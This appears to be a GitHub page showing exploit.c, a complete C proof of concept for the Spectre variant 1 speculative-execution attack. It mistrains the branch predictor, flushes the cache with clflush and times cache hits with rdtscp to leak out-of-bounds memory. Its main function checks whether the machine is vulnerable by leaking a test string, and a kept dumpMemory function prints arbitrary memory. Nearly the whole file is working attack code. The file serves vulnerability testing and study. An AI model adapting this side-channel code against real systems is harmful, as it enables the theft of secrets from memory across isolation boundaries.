-
Notifications
You must be signed in to change notification settings - Fork 19
/
exploit.c
245 lines (208 loc) · 5.96 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <x86intrin.h>
// Constants
#define INDEX_COUNT 16
#define PAGES 256
#define PAGE_SIZE 512
#define MAX_TRIES 1000
#define CACHE_HIT_THRESHOLD 80
#define TRICK_INTERVAL 8
#define TRICK_ITERACTIONS 128
#define NEEDED_CONFIRMATIONS 4
// Global variables that will be used in this attack
unsigned int indexArraySize = INDEX_COUNT;
uint8_t indexArray[INDEX_COUNT];
uint8_t attackArray[PAGES * PAGE_SIZE];
char *secret = "This is just a random test";
void initGlobalCacheableVariables(){
int i;
memset(&attackArray, 0, sizeof(attackArray));
for(i=0; i < INDEX_COUNT; i++){
indexArray[i]=i+1;
}
}
void accessPage(int page) {
int value=0;
if (page < indexArraySize) {
value = value & attackArray[indexArray[page] * PAGE_SIZE];
}
}
static inline int checkSuccess(int a, int b){
if(a >= (2 * b + 5)){
return 0;
}
return -1;
}
static inline int getProbableByteValue(int results[]){
int i,first=-1,second=-1;
for (i = 0; i < 256; i++) {
if (first < 0 || results[i] >= results[first]) {
second = first;
first = i;
} else if (second < 0 || results[i] >= results[second]) {
second = i;
}
}
if (checkSuccess(results[first],results[second])){
return first;
}
return -1;
}
/**
* CLFLUSH—Flush Cache Line
*
* Invalidates the cache line that contains the linear
* address specified with the source operand from all levels of the processor
* cache hierarchy (data and instruction). The invalidation is broadcast
* throughout the cache coherence domain. If, at any level of the cache
* hierarchy, the line is inconsistent with memory (dirty) it is written to
* memory before invalidation. The source operand is a byte memory location.
***/
static inline void clflush(uint8_t *ptr, int pages){
int i;
for(i = 0; i < pages; ++i){
_mm_clflush(&ptr[i * PAGE_SIZE]);
}
}
static inline void clflushSingle(unsigned int *ptr){
_mm_clflush(ptr);
}
/**
Do something else just to waste some CPU cycles
*/
static inline void wasteSomeCycles(){
int x = 7;
for(int i=0; i<10000; ++i){
x = x * x + i;
x = x << 5;
x = x ^ x;
};
}
void trickBranchPredictor(size_t target, int index){
int i;
size_t dummyIndex, page;
dummyIndex = index;
// Completely flush our target from memory
clflush(attackArray, PAGES);
for (i = 0; i <= TRICK_ITERACTIONS; ++i) {
// Flush the size of the array from the index
clflushSingle(&indexArraySize);
wasteSomeCycles();
/**
Bit twiddling technique extracted from original exploit
if(i % TRICK_INTERVAL == 0){
uses our target address
}else{
uses our valid address
}
*/
page = ((i % TRICK_INTERVAL) - 1) & 0xFFFF0000;
page = (page | (page >> 16));
page = dummyIndex ^ (page & (target ^ dummyIndex));
accessPage(page);
}
}
uint64_t timeDiff(uint8_t *ptr){
uint64_t diff=0, start=0, end=0;
int tmp = 0;
start = __rdtscp(&tmp);
// Just access the memory region where ptr points to
tmp = *ptr;
end = __rdtscp(&tmp);
diff = end - start;
return diff;
}
void analyseCachedPages(int results[], int index){
int i, page;
uint8_t *address;
uint64_t diff=0;
for(i = 0; i < 256; i++) {
page = ((i * 151) + 17) & 255;
address = & attackArray[page * 512];
diff = timeDiff(address);
if (diff <= CACHE_HIT_THRESHOLD && page != index + 1)
/* There was a cache hit, increment the possibility of
the current index being the right byte */
results[page]++;
}
}
int readMemoryLocation(size_t address) {
int results[256];
int tries, index= 0, ret=-1, last=-1, repeat=0;
for (tries = 0; tries < MAX_TRIES && repeat < NEEDED_CONFIRMATIONS; ++tries) {
memset(&results, 0, sizeof(results));
index = tries % indexArraySize;
trickBranchPredictor(address, index);
analyseCachedPages(results, index);
/**
* Find the biggest value index in results. It will indicate which
* byte has the highest probability of being guessed
**/
last = ret;
ret = getProbableByteValue(results);
if(ret != -1){
if(last == ret){
repeat++;
}else{
repeat=0;
}
}
}
return ret;
}
int checkVulnerability(){
int dumpSize=26, count=0;
char byteRead=0;
unsigned long long int baseAddress = (unsigned long long int)(secret-(char*)indexArray);
unsigned long long int address;
unsigned long long int finalAddress = baseAddress + dumpSize;
initGlobalCacheableVariables();
printf("[+] Testing for Spectre\n");
printf("[+] Dumping memory from %p to %p\n", baseAddress, finalAddress);
for(address = baseAddress; address < finalAddress; ++address){
byteRead = readMemoryLocation(address);
if(secret[count] != byteRead ){
break;
}
count++;
}
// If we weren't able to dump everything, something went wrong
if(count != dumpSize){
printf("[-] Dumped bytes don't match the expected output, maybe you aren't vulnerable");
return -1;
}
printf("[+] Dumped bytes match the expected value\n");
printf("[+] System vulnerable to spectre\n");
return 0;
}
// This function was only kept because it can be useful for debugging purposes
void dumpMemory(){
int dumpSize=128, byteRead=0, count=0;
unsigned long long int baseAddress = (unsigned long long int)(secret-(char*)indexArray);
unsigned long long int address;
unsigned long long int finalAddress = baseAddress + dumpSize;
if( finalAddress < baseAddress ){
finalAddress = 0xffffffffffffffff;
}
initGlobalCacheableVariables();
printf("Dumping memory range %p-%p\n", baseAddress, finalAddress);
for(address = baseAddress; address < finalAddress; ++address){
byteRead = readMemoryLocation(address);
if( byteRead > 31 && byteRead < 127 ){
printf("%c", byteRead );
}else{
printf("?");
}
if( ++count % 64 == 0){
printf("\n");
}
}
printf("\n");
}
int main(int argc, char *argv[]) {
checkVulnerability();
return 0;
}